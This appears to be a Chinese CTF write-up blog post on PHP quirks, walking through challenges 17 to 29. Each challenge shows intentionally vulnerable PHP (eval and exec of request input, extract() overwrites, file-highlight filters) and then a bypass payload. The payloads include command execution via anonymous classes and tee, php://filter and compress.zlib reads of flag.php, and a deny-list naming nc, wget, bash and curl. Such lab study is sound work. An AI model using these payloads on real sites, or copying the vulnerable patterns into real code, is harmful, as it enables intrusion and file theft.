CTF php特性(中)

17.

highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){   
    $v1 = $_GET['v1'];   
    $v2 = $_GET['v2'];   
    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){       
        eval("echo new $v1($v2());");
    }
} 

因为它是 v1(v2())的这种嵌套手法

所以用匿名类绕过 ?v1=class{ public function __construct(){ system('ls'); } };&v2=a 或者是 ?v1=ReflectionClass&v2=system('ls)

其中ReflectionClass 与 class{public function __construct()}类似

18.

highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){   
    $v1 = $_GET['v1'];   
    $v2 = $_GET['v2'];   if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){       die("error v1"); 
}  
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){       
        die("error v2");   
    }  
    eval("echo new $v1($v2());"); 
} 

增加了对v1 v2的过滤手段,因此无法使用内置类的手法

?v1=FilesystemIterator&v2=getcwd

FilesystemIterator可以用来遍历目录,需要一个路径参数

函数getcwd可以返回当前工作路径且不需要参数,由此可以构造payload

19.

highlight_file(__FILE__); 
error_reporting(0); 
include("flag.php"); 
function getFlag(&$v1,&$v2){   
    eval("$$v1 = &$$v2;");   
    var_dump($$v1);
}  
if(isset($_GET['v1']) && isset($_GET['v2'])){   
    $v1 = $_GET['v1'];   
    $v2 = $_GET['v2'];   
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){       
        die("error v1");
    }  
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){  
        die("error v2"); 
    }     
    if(preg_match('/ctfshow/', $v1)){
        getFlag($v1,$v2);
    }   
} 

PHP 的函数具有词法作用域

在函数内部无法调用外部的变量,除非进行传参

我们最终要得到 $flag 的值,就需要 var_dump($$v1) 中的 $v1 为 flag,即 $v2 要为 flag,这样 $$v2 就为 $flag,&$$v2 就为 $flag 对应的值

URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因“函数内部无法调用外部变量”的限制而导致其返回 null

要想跨过词法作用域的限制,可以用 GLOBALS 常量数组,其中包含了 $flag 键值对,就可以将 $flag 的值赋给 $$v1

?v1=ctfshow&v2=GLOBALS

20.

highlight_file(__FILE__); 
error_reporting(0); 
function filter($file){   if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){    
    die("hacker!"); 
}else{   
    return $file;   
} 
} 
$file=$_GET['file']; if(! is_file($file)){   highlight_file(filter($file)); 
                                         }else{  
    echo "hacker!";
} 

题中过滤了 data、input 等伪协议,又过滤了 string、data、rot13 相关的过滤器,但我们依然可以用 php://filter 伪协议搭载其他过滤器 或者不搭过滤器

?file=php://filter/resource=flag.php

21.

highlight_file(__FILE__); 
error_reporting(0); 
function filter($file){  
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ 
        die('hacker!');   
    }else{   
        return $file;  
    }
} 
$file=$_GET['file']; 
if(! is_file($file)){ 
    highlight_file(filter($file)); 
}else{  
    echo "hacker!"; 
}

利用php中zip伪协议 用法[源于php官方提供的一些例子]: compress.zlib://file.gz compress.zlib://file.bz2

?file=compress.zlib://flag.php

22.

error_reporting(0);
highlight_file(__FILE__); 
function filter($file){   
 if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){    
     die('hacker!');  
 }else{   
     return $file;  
 } 
} 
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!"; 
if(! is_file($file)){  
    highlight_file(filter($file)); 
}else{
    echo "hacker!"; 
}

?file=php://filter/resource=flag.php

23.

include('flag.php');
highlight_file(__FILE__); 
error_reporting(0);
function filter($num){ 
    $num=str_replace("0x","1",$num);  
    $num=str_replace("0","1",$num);   
    $num=str_replace(".","1",$num);  
    $num=str_replace("e","1",$num); 
    $num=str_replace("+","1",$num);   
    return $num; 
} 
$num=$_GET['num']; 
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){  
    if($num=='36'){    
        echo $flag;  
    }else{   
        echo "hacker!!"; 
    } 
}else{ 
    echo "hacker!!!"; 
}

在php中"36"是等于"\x0c36"的,同时trim也不会过滤掉\x0c也就是%0c

?num=%0c36 此时$num不等于36,且为数字,trim以后也不等于36,且'\x0c36'=='36'

24.

error_reporting(0); 
highlight_file(__FILE__); 
include("flag.php"); 
$a=$_SERVER['argv']; 
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){   
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){   
        eval("$c".";");      
        if($fl0g==="flag_give_me"){  
            echo $flag;   
        } 
    } 
} 

这道题目中,对c进行限制,但是没有限制字母和空格,c=echo $flag 就可以运行

但是要必须保证CTF_SHOW存在 和 CTF_SHOW.COM存在 而 fl0g 不存在

由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为之后,后面的字符就会被保留下来不会被替换

POST请求: CTF_SHOW=&CTF[SHOW.COM=1&fun= echo $flag

25.

error_reporting(0); 
highlight_file(__FILE__); 
include("flag.php"); 
$a=$_SERVER['argv']; 
$c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){  
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){     
        eval("$c".";");     
        if($fl0g==="flag_give_me"){       
            echo $flag;    
        }
    }
} 

多过滤了flag|GLOBALS|echo|var_dump|print,但是我们还要include可以使用

GET请求: ?1=php://filter/convert.base64-encode/resource=flag.php

post请求: CTF_SHOW=1&CTF[SHOW.COM=1&fun=include$_GET[1]

26.

error_reporting(0); 
include("flag.php"); 
highlight_file(__FILE__); 
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING']; 
//特殊字符检测 
function waf($url){  
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){   
        return true; 
    }else{   
        return false;
    }
}
if(waf($url)){  
    die("嗯哼?"); 
}else{
    extract($_GET);
} 
if($ctf_show==='ilove36d'){  
    echo $flag;
}

'+' '['被过滤了,用%20替代

?ctf%20show=ilove36d

27.

error_reporting(0); 
include("flag.php"); 
highlight_file(__FILE__); 
$f1 = $_GET['f1']; 
$f2 = $_GET['f2']; 
if(check($f1)){  
    var_dump(call_user_func(call_user_func($f1,$f2))); 
}else{   
    echo "嗯哼?"; 
}
function check($str){ 
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

_() 函数即 gettext() 函数,可以将参数翻译成指定语言,一般就是原封不动的输出参数

get_defined_vars 函数可以输出所有变量的信息,两者结合拿到 flag

?f1=_&f2=get_defined_vars

28.

highlight_file(__FILE__); 
$key1 = 0; 
$key2 = 0; 
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
} 
@parse_str($_SERVER['QUERY_STRING']); 
extract($_POST); 
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

$_SERVER[‘QUERY_STRING’]解释

PHP extract() 函数

extract() 函数从数组中将变量导入到当前的符号表

?POST[key1]=36d&POST[key2]=36d

29.

error_reporting(0); 
function check($x){  
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){     
        die('too young too simple sometimes naive!');
    }
} 
if(isset($_GET['c'])){   
    $c=$_GET['c'];   
    check($c); 
    exec($c); 
}else{ 
    highlight_file(__FILE__);
} 

Linux tee命令

常规方式命令可执行,但是回显一直为1 因为>过滤,使用tee命令,可以变为另一个文件,类似>

?c=ls /|tee 2 访问2下载查看文件

?c=cat /f149_15_h3r3|tee 3 访问下载查看文件

  • 22
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值